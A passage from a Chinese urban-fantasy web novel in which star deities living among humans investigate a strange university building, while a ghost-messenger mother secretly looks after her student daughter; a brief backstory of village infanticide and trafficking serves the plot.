那个村子穷得要命,根本娶不上媳妇,只能从外面买,买来的媳妇只能生男孩,生出的女婴全部杀死,她投胎成女,当天就被她的奶奶扔一水盆里按着,结果,没淹一会儿,她奶奶晾的衣服被风刮了,她奶奶跑出去追衣服,她就活了下来。 出生三天,她奶奶又用108根针扎进她全身,结果,她居然还是没死。 第七天,她奶奶要把她活埋,结果,坑挖好了,刚洒了一锹土下去,一队武警就冲进来了。 以前这种村子买卖人口的事情多的很,哪有警察管,生女婴就杀,杀男婴就留,一口气连生八个孩子都没被外界知道,都是很正常的。 谁知道赶上她的时候,村子里出了毒贩,出毒贩就算了,还暗杀了上头下来的督查组组长。” 这种地方,拐卖人口未必有人管,出一两个毒贩算黑恶势力,杀了督查组组长要是地方上的伞还敢撑着,那就叫造反。 扫黑需要证据,反恐只要名单,平叛只要坐标。 这事李寅寅知道,带头冲进去的就是奎木狼,这是他人生的转折点,是他升职的重要业绩。 向李寅寅述职的时候,他浓墨重彩地说了一堆。 “她妈死也不肯要她,说看到她就想到自己在山村被那么多人侮辱的事情,只想早日跟过去一刀两断,就把她送给别人抚养。 那户人家知道她的身世,觉得她是上天送来的吉祥,怎么都死不了的是凤凰,就给她起名叫金凤。 后来她养父去赌,欠了一屁股的赌债,她养母被追债的人逼跳楼,她被要求十天之内还两百万,否则就把她卖到东南亚,结果,她去饕餮的公司门口求职,没投简历,霸王面,被前台挡在外面。 这都能遇到饕餮他爸被记者采访,她楚楚可怜的扑上去了,说自己是得了公司赞助的大学生,现在想要回馈公司,想进公司工作,希望公司给她一个机会,她能还公司一个奇迹。 结果,饕餮他爸那个老色批就看上她了,收她在身边,当天就替她还清两百万。 这还不叫气运加身? 请星君大人教教我,我还可以在哪个环节再努力一下?” 光嘉苏非常愤怒,声音越来越大:“你可以怀疑我的能力,但不能质疑我的努力!” 这番话,把坐在后面的心月狐都听傻了。 被色老头看上这一点,她自信自己也能做到,但是前面那长串的好运,真的不是她的魅力就可以搞定的事。 朱雀气运,恐怖如斯。 做为一个常年行军打仗的人,李寅寅可太清楚运气有多么重要了。 不然李广也不会一遍又一遍的迷路,最后落得一个“李广难封”的悲剧。 现在,李寅寅非常庆幸鬼金羊生了夺位的念头,让周金凤只有十分之一的朱雀魂魄。 否则,完整体的朱雀就算没有七宿的力量,再加上从未被削弱的饕餮一起想要搞事,李寅寅都不知道自己,加上刚上初一的青龙小朋友能不能赢得了他们。 李寅寅看着光嘉苏:“如果你成了朱雀,那么,你的鬼金羊之位由谁来坐?” 光嘉苏扬起唇角:“我替代朱雀,朱雀替代我,这不是很合理吗?” 原来如此,两人神格互换如果已经成了定局,别说现在头上没有天帝,就算有天帝,也改变不了已经被夺走的神格,否则,华光祖师和祝融早就该为火神之位杀到天地失色。 光嘉苏闭上眼睛:“我知道的都说完了,星君动手吧。” “哦。”李寅寅伸手把她从地上拉起来。 光嘉苏困惑地睁开眼睛看着她:“星君是什么意思?” 李寅寅指着祥龙楼:“就算我能忽悠饕餮再捐赠一套新设备,那也得有个合理的理由啊!半夜实验楼炸了,这锅总得找人甩吧,难道要跟人说是我们小狐狸半夜做实验出了事故。” 心月狐:“喂!” 李寅寅一摊手:“看,她不愿意。你以为星君就是白吃白喝混日子的啊?要平事的!你身上有朱雀十分之九的魂魄了,还不干点正经事?” 第二天,实验楼出事的消息传到祥龙集团。 公司派专人到现场调查原因。 经调查,与实验室内使用的软装材料有关,在学生实验过程中,形成易爆气体。 龙兴伍大手一挥:“立即免费重修,并对整栋楼进行安全评估。” 一楼死掉的五百条金鱼和微裂的玻璃水墙,也由祥龙集团全部重新从虎虎宠物店采购。 随着新设备和新水墙新金鱼一起到来的,还有一个新的保洁阿姨。 她勤劳肯干,除了公共区域的卫生,如果有学生要扔垃圾,或是洗杯子,她也积极过去帮忙。 她什么都好,就是脸上有一大块太田痣,让第一次见到的学生吓一跳。 三天后,她告诉李寅寅,那栋楼的布局确实很谜。 “不像教学楼,像灵堂。” 第54章 忠!诚! 祥龙楼里除了一楼摆着玻璃墙一样的水族箱之外,别的地方跟普通的教学楼没什么区别。 刚刚使用第一天的时候,也看不出什么区别。 等祥龙内部整修完,重新投入使用,正好是正式启用大楼的第七天。 这天黄昏时分,大楼前方水池里的喷泉开了,三根水柱直冲向天,平平无奇。 但是开着开着,三根水柱的长短变了,左右两边矮,中间那一根水柱高。 起先负责维护的人还以为是出水口被堵了,又是疏通又是换新头,折腾了半天,刚开始修复了,过了一小时,又变成了两短一长。 校工都被折腾烦了,也不管它,就让它喷吧。 祥龙楼周围地面上都嵌着玻璃地灯,错落有致,天黑了一开灯,地灯照向祥龙楼,一个小圈,一个小圈,淡淡的金黄色,就像上坟时候散的纷飞纸钱。 学生们没什么反应,戏称为“金钱豹”。 一楼的鱼们倒是十分平和安定,完全没有磁场混乱或是其他问题导致的混乱。 学校是书香之地,能镇鬼魂,外面的游魂野鬼不爱来,来了都走不掉。 里面的鬼也不容易走掉,得等鬼差来接,办完一整套手续才能走。 各大学校里总会有些闹鬼传说,多少与这事有点关系。 中年女鬼差查过祥龙楼方圆三公里的一切信息,这里除了明末清初和鬼子进村那会儿死了不少人之外,没有特别的事件发生。 翻开中国建筑史、外国建筑史,可以说以某种目的去修的楼,可能没有达成目的。 但绝对不会有作用倾向性如此明显的楼的出现,只是因为巧合。 李寅寅向柳舒借鱼,放在祥龙楼的水族箱里,要是有什么异样先兆,可以通知她。 柳舒回应:“借是可以,但是,不能白借。” 不白借的意思是,那条被借调的鱼仙有一个条件,想把他的后辈安排进学校,没别的意思,就是这个孩子从小对“读书人”“校园里的白衬衫青葱阳光少年”这种人设,有一种谜一般的好感。 李寅寅摇头:“我建议她最好多看几本小说,不要企图在现实里面找对应,她会失望的。” 鱼仙无奈地在水里划拉两下:“我就是想让她早点吃爱情的苦,免得哪天被人偷了螺蛳壳,绑回家当老婆,还以为是真爱。” “……你这个后辈,是田螺啊?” “对啊,我的后裔血亲,怎么会有这么恋爱脑上头的。”鱼仙昂首挺胸,非常骄傲。 “不过,她祖辈跟我关系不错,他功德圆满飞升去了银河,临走的时候托我照顾照顾这个小家伙……” “以你的面子,跟江河龙王打个招呼,收下她在龙宫谋个身份,那还不容易?” 鱼仙叹了口气:“是容易,我也帮她介绍了几条河龙王,但是……她见一个爱一个,体贴过份,那些龙王都有一定岁数了,家里都有龙后,再说……没有龙后,他们也不会娶一个田螺啊。” 好家伙,这果然就是传说中的上学爱上老师,军训爱上教官,看病爱上医生,工**上上司,报案爱上警察。 想想也是,反正恋爱脑上头成这样,得罪了龙后,人家是真敢宰了她这个破坏家庭的小三。 白衬衫青葱阳光大学生再怎么渣,破坏力还是有限的。 想到这,李寅寅便答应了,以老师的身份混进去不可能,现在连旁边附中的初中部老师都得是海归博士,要做的假资料太多。 当学生就简单多了,鱼仙在户籍管理本来就不严的东南亚给这个晚辈弄了个国籍,再以外籍身份参加考试。 没有人会杀到以嘎腰子闻名的国家去查她从幼儿园到高中的所有经历。 如果有人怀疑她的中文流利程度,可以说是从小在中国长大的,这并不是什么稀罕事。 以前要耗费大量法力,改变许多人记忆的事情,现在简单了许多,只要修改系统和几个老师的记忆就行了。 于是,宁大里迎来了一位来自东南亚的田思清同学,祥龙楼的水族箱里迎来了一位鱼仙。 田思清来得晚了,大一学生宿舍已经没有空位,学校只能把她塞进大二学姐们的宿舍里,那个宿舍里有人间化名胡雅娟的心月狐,有中年女鬼差的女儿韩文静,本来还有两个人,不过那两人一个是本地人,回家住了,另一个跟男朋友出去合租了,于是,床位便空了下来。 田思清是个热情的姑娘,进门先甜甜的叫了一圈学姐,然后分发自己带来的零食,她还主动要求包揽宿舍里的卫生,这可能是田螺一族的秉性。 不过她的梦想没实现。 韩文静拦住了她掏出家伙,企图开始擦窗户的动作:“不用了,我们有保洁阿姨,每天来打扫,你只要把自己的东西收好,不要的东西她就会收走的。” 她说的保洁阿姨,就是中年女鬼差。 鬼差找了个借口,说心月狐是她的远房亲戚,她愿意女生宿舍打扫卫生,趁她们上课的时候就打扫了,就跟酒店一样,一点也不妨碍她们的隐私。 韩文静要给她钱,她死活不肯收,说她要是收了钱,在村子里要被人戳脊梁骨的。 过了一周的上午,李寅寅又去了祥龙楼养护金鱼,鱼仙告诉她:“这楼格局确实诡异,总觉得有灵气不断往外泄,但是,我查探不出来,灵气是从哪里来的,人太多了……我也没发现有谁被抽走了灵气。” 这所大学虽不及清华北大,但也在“被美国列入安全风险黑名单的高校清单”之内,大多数人都是凭正经高考进来的,灵气充沛。 “是不是一点一点的抽?所以你没发现?”中年女鬼差急了,她只能感觉到鬼魂,感觉不到灵气。 虽然不是一把将人的灵气全部抽走,但是,灵气一点一点的消散,这也受不了啊。 但凡是个正常的妈妈,看着自家孩子手指蹭破一点皮,长了根倒刺,都得想办法处理掉,何况是攸关孩子未来一生的灵气呢。 “耶?你们都在这啊~”心月狐开开心心地走进大楼,看见李寅寅和中年女鬼差在玻璃墙的一角在嘀嘀咕咕,还有一条鱼在水里,嘴巴一张一合的吐泡泡。 中年女鬼差见到她,急忙问道:“上仙最近有没有觉得身体不适?我们家静静怎么样?有没有出现什么异样?有没有觉得困倦、身体容易累的情况?” “我一直都挺好,她有啊。”心月狐回答地很痛快。 中年女鬼差整个人都不好了,当即转身,就想冲去教室,看看自己的宝贝女儿怎么样了。 李寅寅一把将她拉住,又看着心月狐:“说清楚,从什么时候开始的,具体是什么征兆,除了困倦之外还有什么具体的反应?” 心月狐歪过头,困惑地看着她:“你们为什么这么紧张?大学生上早八课的时候,不都是这样吗?” “怎么会呢……不可能啊,早八课,你们又没有跑操要求了,不是一向七点半才起吗?七点半起,还困吗?” 她是真不理解,她活着的时候,一向是晚上十一点半之间就睡了,第二天早上六点起来,给女儿做早饭,抓紧趁着峰谷电价的时候开洗衣机把衣服洗了,再去菜场买当天晚饭要吃的菜,忙到八点出门,正好赶上八点半上班。 心月狐耸耸肩:“晚上一两点睡,七点半起来犯困不是很正常的嘛。” “每天?!你们的学习这么辛苦啊!这样身体哪能受得了。” 中年女鬼差天天晚上以人类看不到的状态在女儿身边转悠,但又怕自己身上的鬼气会伤到女儿,再加上心月狐和田螺姑娘都能看见她,谁想同学的长辈天天蹲屋里啊,硬赖着也太不礼貌了。 所以,她不敢进房间,只敢在走廊上晃来晃去,房间里的人在干啥,她一点都不知道。 心月狐抓抓头发,露出谜之微笑:“嗯,是学习,主要是……学习一些人文社科方面的东西。将来工作,不是只看成绩嘛,也要学一些……那个待人接物,还有我们一起交流一些别人犯过的一些错误,避免自己再犯。” 跟人联机打游戏,胜不骄,败不骂同伴无能,怎么不算是学习待人接物呢? 在社交平台上看人犯蠢,然后转发给朋友,怎么不算学习别人犯过的错误呢? “别紧张,我看肯定没有从人身上抽,不然肯定有人会出现异状。”李寅寅安慰她。 中年女鬼差还是不信,她不关心灵气抽出去以后去了哪里,她只关心灵气的来源是哪里,是不是她的宝贝女儿。 在弄明白之前,谁说话都不好使,白虎星君也不例外。 看着中年女鬼差的执着劲,李寅寅也没什么好说的,她转头望向正在看鱼的心月狐:“你看人家这打破砂锅问到底的精神,你怎么就一点都没有探求知识的精神呢?” 心月狐不服气:“我很有探知精神的呀!不然我干嘛来上学,不去娱乐圈发展。” “你甚至都不关心你跟青龙的关系,他就站在你面前,还说了你们之前的旧事,你就一点都不好奇?你就不想知道发生了什么?” “啊……嗯……哦……”心月狐又抓抓头,“这个问题……是他问的吗?” 李寅寅觉得奇怪:“我问的。” “嗯,那你觉得他为什么没有来问我,为什么不关心呢?”心月狐眨巴眨巴眼睛。 “大概是怕你骂他。”李寅寅开了个玩笑,她没想过这个问题,也许是因为孟清华在尾火虎那里已经吃过一次瘪,证明不了自己的身份,也无法以星君的力量控制他们,就彻底放飞自我了? 心月狐眨巴眨巴眼睛,左看看,右看看,确定周围没有旁人,才压低了声音:“星君觉得,鬼金羊的那种想法,是不是只有她一个人有呢?” 星宿之位虽然是固定的,但是,只要符合全部条件,神格是可以被拿走替换的。 青龙七宿一向居于庙堂之上,在那个人神混居的年代,自从人王降世,就有了帝王心术。 在“尧幽囚,舜野死”、“丹朱不肖、太康失国”的背后,从来都不是紫微星一个人在战斗。 虽然现在青龙的神格里只剩下不值钱的治疗术“枯木逢春”,在人界超级好用的“天下归心”没了,但是,就算他把这事说给别人听,别人也只会以为他这是在装傻充愣。 毕竟在实力不够的情况下,说自己是什么天命所归、出生就红光满天异香扑鼻龙翔凤舞,那就是死路一条。 李寅寅猜测七宿的心理活动是这样的:青龙也许是在装傻,想要趁机除掉对他有异心的手下,换一个听话的。 李寅寅故意问心月狐:“怎么,你也想取而代之?” “我不是,我没有,别乱说。”心月狐一本正经地表明忠诚的态度。 李寅寅笑笑,心月狐,一个曾经真正坐过皇帝宝座的星官,在登基之前就二圣临朝很久了,实际掌权四十九年。 感受过权力的爽,怎么可能对权力没有兴趣。 只不过时机实在太重要了,当年她能上位,是因为李治想要把关垄贵族撵走,自己独掌大权,所以才有那么一系列的操作。 当年她被迫退位,也是因为有利于她的继承人打不过李氏家族冒出来一个特别能干的后辈。 李寅寅感叹:“你亏就亏在托身成了女人,失了法理上的正统,不然区区继承人,最多让你当太上皇,绝不可能让你退回到则天大圣皇后的位置。” “哎,可不是么,我这几天看到一个段子,说地府让太宗随便选一个皇帝登基之前的身份,太宗很自信,认为他就算穿成刘禅、光绪都毫无压力,结果,他穿成了我,与李治正在同床共枕,哈……” 心月狐笑起来:“他不仅必须继续同床共枕,还得生出儿子,否则,他就算是天可汗,有一人可抵百万兵之勇,也永远没有机会正大光明的登上皇帝之位。” “当年我天命加身,在这个年纪,也刚当了六年的才人,照现在这乱七八糟的情况,我能当上选调生,算是天道给面子,自己考公上岸,算我气运不衰。” 她又冲着李寅寅扬起一个大大的笑脸:“星君呀,能不能求您一件事?如果他不追问,您就别提起这事好吗?就当给我一个小小的假期,我这人,就是懒嘛……如果组会可以不开,我是绝对不会去的……这个平白多出一个老板在头上……哎,他又不管我发论文,又不管我改稿,也不管我成果,连设备和试剂都弄不来……” 就差把“这么个废物,要他何用”说出口了。 心月狐要是就当青龙在人间这事不存在,也不调查,她就可以假装无事发生。 将来就算是天命回归,青龙也不能因为这个而惩罚她。 谁主张谁举证,孟清华自己都拿不出证据证明自己是青龙转世,而不是什么有治疗异能的凡人,凭什么要求别人。 但是,如果心月狐查了,且真查出结果了,她要是还敢当这事不存在,不认孟清华为主,那就是真·欺君罔上,将来要清算,她绝对跑不掉。 有些事不上秤,不到四两重。 要是上了秤,一千斤都打不住。 好奇心害死狐! 狐狐是自由的~ 起码现在,她完全没有给自己找个上司的意愿。 李寅寅猜想,如果二十八宿都在人间,大概他们都愿意认她。 其他二十一宿是因为她是西极之主,跟他们没有从属关系,认了不亏,还多个能帮忙的朋友。 至于白虎七宿,那是一种刻在血脉中的烙印。 白虎星宿做为天下武将的典范,星宫命座里就自带忠贞不渝属性。 “令行禁止”、“没有错误的命令,只有错误的士兵”这些都是对武将说的。 哪怕知道自己上去就是填线送死,武将和士兵也得去。 文死谏,文臣可以犯颜直谏,跟皇上对着干,被廷杖打死,那是美谈。 武死战,武将只能遵命。 要是武将收到十二道金牌让他回朝,武将觉得皇帝脑子有病,一掀桌子让皇帝老儿闭嘴……都不用叫皇帝闭嘴了,让皇帝派来的太监监军闭嘴,那也叫造反,要么一反到底,夺了鸟位,要么就等着抄家灭族,就算造反成功,黄袍加身,也会被说得国不正。 要是连武将典范的白虎七宿都不认主了,那可真是要天下大乱,天天哗变。 整个世界都要变成二十二万美元就能来一回兵变的非洲大区。 李寅寅以前只觉得天命是枷锁,自己永远只能趁紫微星不在的时候过一把至尊瘾。 现在头上没人管着,自己手下对自己忠心耿耿,确实挺爽的~ 特别是有了同行的衬托,四极星君只有自己手下忠心,这就更爽了~ 李寅寅心中了然,对心月狐说:“我明白,你放心,我没跟他提过。” “我是真的只想过好这一生,与其费尽心思去夺青龙神格,我还不如努力考公呢!”心月狐对自己非常有信心。 “我都准备好了,拳击比赛、武术比赛我也报了……万一萝卜坑原定的主人出什么事不能去,我不就能顶上了吗!” “想得真周到,”李寅寅鼓掌,“加油!” 不管心月狐这番话是真心还是假意,她至少有一点没说错,她想夺青龙神格,还不如考公容易。 鬼金羊能得手,是她跟地府熟,知道他们的业务漏洞,提前布局做了手脚。 鬼金羊无声无息的将朱雀魂魄蚕食,地府的生死簿上一点痕迹都没留下,反正没有天庭管着,朱雀转世转丢了地府也毫不紧张。 心月狐没有这层关系,事就不能这么干。 心月狐见中年女鬼差还是满脸担忧,安慰道:“这一带灵气充沛,也许抽走的是土地的灵气,如果动了人,我肯定有感觉。” “胡雅娟,干嘛呢?上课啦。”韩文静和十几个人从外面跑进来,手里还提着两个包子,她一眼看见心月狐,便走过来人,把包子递给她:“田思清买的,说请我们吃。” 心月狐抽抽鼻子:“宁庄饭店的大肉包?我去,七块钱一个呢!加上跑腿费得多少钱啊!我一会儿转给她。” 韩文静摇摇头:“要是钱就好了,她一早五点就起床,自己跑过去买的,我都不知道怎么还她的情。” “没事,她不是选了跟你去年一样的课嘛,你拿你的笔记和卷子给她呗。” “嗯。” 心月狐转头跟李寅寅等人打了个招呼:“我要去上课啦。” 转头就与韩文静一起往楼上跑。 铃声响起,整栋楼又恢复了安静。 鱼仙十分得意地甩着尾巴:“田螺这个小丫头,还挺懂事。” 李寅寅附和:“那是,能跟你往来的水族,肯定对子侄教导有方,不然你肯定不会跟他们交好。” “哎,怎么样才能知道灵气是来自地下,还是来自人的身上啊?”中年女鬼差还在纠结这个问题。 要是弄不明白,只怕她要焦虑到天荒地老。 “找个在地下的问问呗,地里的灵气被吸了,他肯定知道。”鱼仙甩甩尾巴。 在地下的……李寅寅第一个想到的就是精舍里的那个无伤,巧了,被她弄死了,死得透透的。 还有在地下的就是地狼,然而……他们全族都不知道搬到哪里去了。 李寅寅细细想了一遍,还有一个——青龙七宿之一的氐土貉。 不知道他如今在不在人间,应该可以找孟清华问问。 转念一想,李寅寅心里在孟清华的名字上打了一个叉,问他还不如问尾火虎。 李寅寅刚走出祥龙楼,忽然身后有人叫她:“星君。” 是中年女鬼差。 唉,当妈的心,真是一辈子都操不完。 不知道她是想跟着一起去,还是又想要得到一个自己女儿肯定能得到保护的承诺。 李寅寅正在想不让她焦虑,但又不做什么有实质保证的官方说辞。 她先开口了:“听说星君大人就住在这附近?” “对。” “不知能不能借您的厨房一用?” 这个目标有点出乎李寅寅的预料:“你要做什么?” “我女儿不喜欢吃肉包的,她早上肯定没吃饭,学校的食堂她也吃得不多,她就喜欢吃我给她做的紫菜虾皮鸡蛋盒子……可是学校的宿舍不能开伙,所以……”她小心翼翼地陪着笑,用乞求的目光看着李寅寅。 “哦,你用吧,我跟店里的人说一声。” “谢谢星君大人!”她连连鞠躬道谢。 李寅寅去了尾火虎那里,向他打听氐土貉的现状。 尾火虎微笑道:“他现在叫洛垚,是永盛建筑集团的老板,饕餮的祥龙美食城,还有宁大的祥龙楼就是他建的,如果星君发现那栋楼有什么蹊跷,星君可以直接问他。” “我还没说呢,你怎么知道我是为了哪栋楼来的?” “如果是普通的五层楼,有什么必要找他,形制规整,没有特殊防化要求,随便一个小公司就能建。” 李寅寅笑道:“你倒是清楚。” “那么多妖怪在那里出没,如果不能掌握第一手信息,等出了事,一切就迟了。白虎星君不是曾在人间留下一句话么?我深以为然,知己知彼,百战不殆。” 尾火虎不动声色的给李寅寅戴了一顶高帽。 该知道的信息都知道了,李寅寅还是很意外:“氐土貉?居然是饕餮的乙方?” 氐土貉属中央钧天,那脾气,都不能用自视甚高来形容了,以前就敢跟青龙顶嘴,李寅寅还兴高采烈地围观过。 他愿意给洪荒凶兽当乙方,搁以前,这绝对是赅人听闻。 尾火虎看出李寅寅的惊讶,他淡淡一笑:“没办法,给饕餮修这楼,不仅有钱赚,还能让他积攒本命星相的土德……给得太多了。” 第55章 妈妈 氐土貉不在家,最近有一个大建筑公司倒闭了,留下一堆烂尾楼,业主哭哭闹闹,还有几个从楼上往下跳的。 国内几家有头有脑的开发商都被上头叫去,看看哪家愿意接手,氐土貉也在其列。 李寅寅先去找了娄金狗,问她手上有没有东西能精确探查祥龙楼里的情况。 “有有有!”娄金狗很久没有被主上招唤,终于有机会效力,本命体的尾巴都摇得快要飞起来了。 “看,我改良的神奇安心降魔小飞翼。” 李寅寅:“……这个名字,起得像女士卫生用品,买两套送行李箱的那种。” “这是起名策略,能引起好奇心!也能看出功能。”娄金狗对产品名称非常满意,对功能更是骄傲,她拿出一百五十页的PPT,开始宣讲。 “这套设备有三种不同的模式, 第一种是匹配模式,用来测算屋主的命格八字与房子的方位属性的相性关系, 第二种是搜寻能量力场,发正财的人要找正能量,发偏财的人要找负能量,第三种是普通驱邪模式,能驱走普通地缚灵和一些杂乱的能量场。” 李寅寅看见第三个模式上还有“一键升级至尊臻享VIP服务”,好奇地点了一下,接通了一个呼叫中心,对方客气地询问她遇到什么问题了,具体描述,顺便推荐了五款VIP套餐: 银牌VIP:仅除掉难搞的邪灵。 金牌VIP:除掉邪灵的同时,还能保证一年之内再无其他邪灵作祟。 钻石VIP:比金牌VIP多两年的保证。 黑钻VIP:比钻石VIP多提供三次吉屋选址服务。 永恒尊享VIP:除享受以上所有服务之外,赠送一次未来一次人生大转折的预言。 挂了电话,李寅寅笑问娄金狗:“接电话的不会是……” “咳,她们在人间没事干,我总得给姐妹们想想出路。” 这个呼叫中心的工作人员,正是娄宿之下的三颗主星和十五颗增星。 “合适啊,一天二十四个小时,三班倒,一个主管带五个话务员。”李寅寅笑道。 娄金狗摇头:“不是这么排班的,这样排,她们就没有休息日了。” 李寅寅:“你自己上班都不止八小时,没有双休日吧。” “是啊,自己淋过雨,就想给别人撑一把伞。”娄金狗耸耸肩。 这倒是白虎星天一脉相承的价值观,否则如果主官对手下冷漠无情,甚至玩命压榨,就算血脉里有天然的服从性,也少不得会闹出是非来。 “你都这么有钱了,还上班?” “不上班,我也接触不到最新的理念和技术呀,写产品简介的时候,词汇量就没那么丰富了,而且还能接触到不少客户呢,我们总裁买了我不少产品,几百万一套的当天全款拿下。” 好有道理。 李寅寅把那个小小的设备拿去祥龙楼,得找个地方放着。 最安全的地方,莫过于清洁工具间,保洁阿姨是自己人,学生和小偷都不会开工具间的门。 下午回到店里,冯墨薛姗他们几个都在,桌上还摆着几碟零食:蜜汁肉脯、芝麻肉松,蜂蜜玫瑰杏干,糖炒栗子、香烤小鱼干…… 冯墨在嚼肉脯,薛姗在咬鱼干。 乐乐的嘴里被塞得鼓鼓囊囊,还在不断往里塞糖炒栗子。 黄少芸双手捧着一个馅料满满的面饼,吃得一脸沉醉。 介老头不在,大概又出去晒太阳了。 李寅寅眉毛微扬:“你们发财了?买了这么多零食。” 薛姗嘴里含着一块杏干:“是一个女鬼差来做的,就是你打电话的那个。她说她给女儿做饭,顺便又做了这么多,说是不能白借了咱们的灶,让我们笑纳。 苏灵衣还学了她的配方,说以后做给我们吃,这会儿在厨房。” 李寅寅去厨房,看见苏灵衣手里拿着几张纸,正在研究怎么增减配料,桌上还放着一碟淡黄色的糖块,苏灵衣指着糖块:“这是她做来送给灶神的糖瓜。” “太会来事了!”李寅寅由衷感叹,这哪里是借灶,这是全面联络感情。 难怪人家死了十几年,可能还在等排队投胎,她一不是天上神仙转世,二没有什么惊天动地的功德,刚死没多久,居然就能当上鬼差了。 李寅寅拿着设备,去学校,只见玻璃水族箱前面摆了好多吃的喝的,还有鲜花。 还有好几个学生手里拿着零食大礼包,一脸虔诚地供奉在水族箱前面。 “发生什么事了?”李寅寅不明白。 被供奉的鱼仙更不明白:“今天中午,就有几个学生说灵灵灵,太灵了,冲了进来献花,我也不知道发生什么事了。” “你们为什么要给鱼送花?”李寅寅抓了一个学生问道。 “求秋招通过呀,你不知道吗,很灵的。”学生热情地向李寅寅介绍鱼仙人的故事。 自从李寅寅说过鱼仙很灵的之后,有几个心向大企业,但是成绩不温不火,在可能成与可能不成之间的学生。 他们抱着“只要传说中很灵,就去拜”的想法,在水族箱前面拜了几拜,然后就去笔试了。 笔试成绩出来,他们都绝望了,企业要招二十个人,那几个人的成绩是二十三、二十五、三十一,第二十三名的人还能指望前面有三个人突发恶疾,或者有了更好的OFFER不去面试,第三十一名是彻底歇了心思。 谁能想到,企业突然通知他们可以参加面试,找人打听才知道,今年笔试通过人数划在了三十五人。 这跟个人实力真的一丁点关系都没有,就是纯纯的运气啊! 欢天喜地的三个人根本压不住上翘的嘴角,满世界宣传鱼仙人牛逼,鱼仙人太灵啦! 于是,就变成这样了,明天还有几场大公司的宣讲会,同学们这是来临时抱佛脚的祈福。 他们说的那个大公司,正是娄金狗上班的互联网公司,李寅寅发了个消息问她公司为什么突然决定扩招那么多人。 娄金狗:【那事我知道,根本就不是扩招,是人力资源部副总的亲戚也参加今年的秋招,在第三十四名,走特招需要惊动的高层太多,他就把笔试的线划到三十五人,跟公司说的是精益求精,所以,其实最终录取人数是不变的。】 李寅寅:【哦~传说中,为了与你握手,我与所有人都握手?】 娄金狗:【哎呀,不要说得这么暧昧,不过,就是那个意思。dog.jpg】 李寅寅看着一脸懵逼的鱼仙,笑笑:“万万没想到啊,你在这还领上功德了。” 鱼仙甩甩尾巴:“这得算野祭淫祀吧,我可不敢求功德,能别清算我就好。” “算不着你,门口那尊普希金雕像受的供奉比你多多了。” 虽然李寅寅也不明白为什么汉语言文学系和英美文学系的都要来拜一个俄国作家,不过,人民群众喜欢并支持,就这样吧…… 李寅寅找到女鬼差,把什么什么小飞翼放进清洁工具间,之后,正好赶上学生下课,心月狐与韩文静两人说说笑笑地从教室里出来。 中年女鬼差拎着一大包零食迎了上去,递给心月狐:“囡囡,你们晚上学习太辛苦了,我给你们做了点零食,要是晚上学习累了,就吃点,垫垫肚子。” 她又笑着说:“记得分给你们舍友吃呀。” “知道。”心月狐笑笑,她当然知道这些零食真正是想送给谁的,回宿舍后,她假装不耐烦:“我又不喜欢吃零食,真是烦死了,你们有没有人要吃,不吃我就都扔了啊。” 田螺姑娘也跟着说:“我也不爱吃。” “啊?你们也太浪费了吧。”韩文静震惊了,她打开一袋,闻着味道:“好香啊,你们真的都不吃吗?” “你喜欢就都拿去呗,正好,要是真扔了,我还得找个很远的地方扔,省得给她看见。”心月狐把一大包零食都放在韩文静的桌上。 韩文静拿起一块蜂蜜玫瑰杏干,放在嘴里,在杏干味道的深处,透出来一股她很熟悉的味道。 她小时候就很喜欢吃各种蜜饯,但是妈妈说她吃外面买的那些人工合成剂太多的蜜饯不好,就自己做,为了减少白砂糖的用量,妈妈就用罗汉果或者甘草来做替代品,让那些蜜饯的味道里又额外多出一点特别的味道,那种味道,在外面根本买不到。 妈妈离开这么些年,韩文静也再也没有吃过好吃的蜜饯,渐渐的也就不吃了。 没想到,今天,她竟然吃出了熟悉的味道。 想起妈妈一边嫌弃她吃零食,一边又到处找方子学着做。 一边跟她说要讲道理懂礼貌,一边在奶奶家,有亲戚从一堆晚辈里点名让自己去洗碗,说得女孩子就得多干家务,否则将来嫁到婆家洗不干净碗会挨打的时候,出声帮自己说话。 韩文静一个一个的吃杏干,想起妈妈在世时候的点点滴滴,眼泪忍不住一滴一滴地落下来。 心月狐与田螺姑娘心有默契,她俩一个拆快递,一个扫地,都当没看见,免得韩文静尴尬。 晚上,韩文静去夜跑,在路灯下,忽然一只小鸟扑扇着翅膀落在她的面前,那是一只很漂亮的粉黄色小鹦鹉,两腮上好像被人涂了胭脂一样,有两大团红色。 小鹦鹉歪着脑袋看着她,韩文静蹲下来,也盯着它,她在宠物店里见过这种鹦鹉,好像叫玄凤。 玄凤冲着她张开嘴:“花花在肚子里打起来。” 韩文静全身一震,她打小不爱吃胡萝卜,四岁生日的时候,妈妈给她做了许多好吃的,用胡萝卜雕刻成不同形状的花朵摆在旁边装饰,自己一口气吃了好多,妈妈还继续忽悠她,说这些花花会为了争吵谁先进的肚子而打起来,为了肚子里的和平,要她吃下不同款式相同数量的胡萝卜花。 那时候自己信了,特别认真的吃,生怕少吃了一朵,花花在自己肚子里打架。 韩文静想起前几天跟着自己一路的老鼠,心中一动,脱口而出:“你是不是我妈妈?” 玄凤歪着头整理自己的羽毛,没有理她,韩文静觉得自己是不是傻了,居然认为自己妈妈变成一只鸟,真是疯了,自己还是个重点大学的理科生,怎么跟个神棍似的。 这种鸟肯定是谁家养的宠物鸟,说不定过一会儿,它的主人就会找过来。 韩文静刚要起身,玄凤突然张开翅膀,跳上她的头顶,用嘴一下一下地给她顺头发丝。 韩文静抓住它,把它放在地上,大步向前跑,忽然肩膀上一重,玄凤扑楞着飞到她的肩头,紧紧抓着不肯松,还用脑袋蹭蹭她的侧脸。 “你真的要跟我走吗?你的主人会伤心的。”韩文静说。 玄凤闭上眼睛装睡。 韩文静没办法,在原地等了一会儿,眼看着宿舍门要关了,她才不得不起身,将玄凤带回去。 她不知道鹦鹉吃什么,就打电话给李寅寅,李寅寅告诉她一些鹦鹉的饲养注意事项之后,问她这个鹦鹉的身体状况怎么样,韩文静说感觉挺好,应该是别人家养的,不知道怎么样才能找到它原来的主人。 李寅寅说:“那你就开着窗户,如果它想走,随时都可以离开。” 韩文静:“也只能这样了。幸好我们宿舍的窗户都装了窗檐,只要不是台风,下一点小雨,打不进来。” 挂了电话后,李寅寅看着中年女鬼差:“值得吗?等她这一世结束去投胎,就有新妈妈了,她不认识你,也不知道你为她付出了什么。” “值得。”中年女鬼差微笑,“她刚出生的时候,我抱着她,软软的,她冲我笑,抓着我的手指……那个时候,我就发誓,我一定要保护她,把最好的都给她,让她一辈子开开心心……如果可以,我也希望能看着她长大成人,过上幸福美满的生活。” 傍晚,在娄金狗的仪器安装三小时之后,系统收集到整栋楼的异常能量。 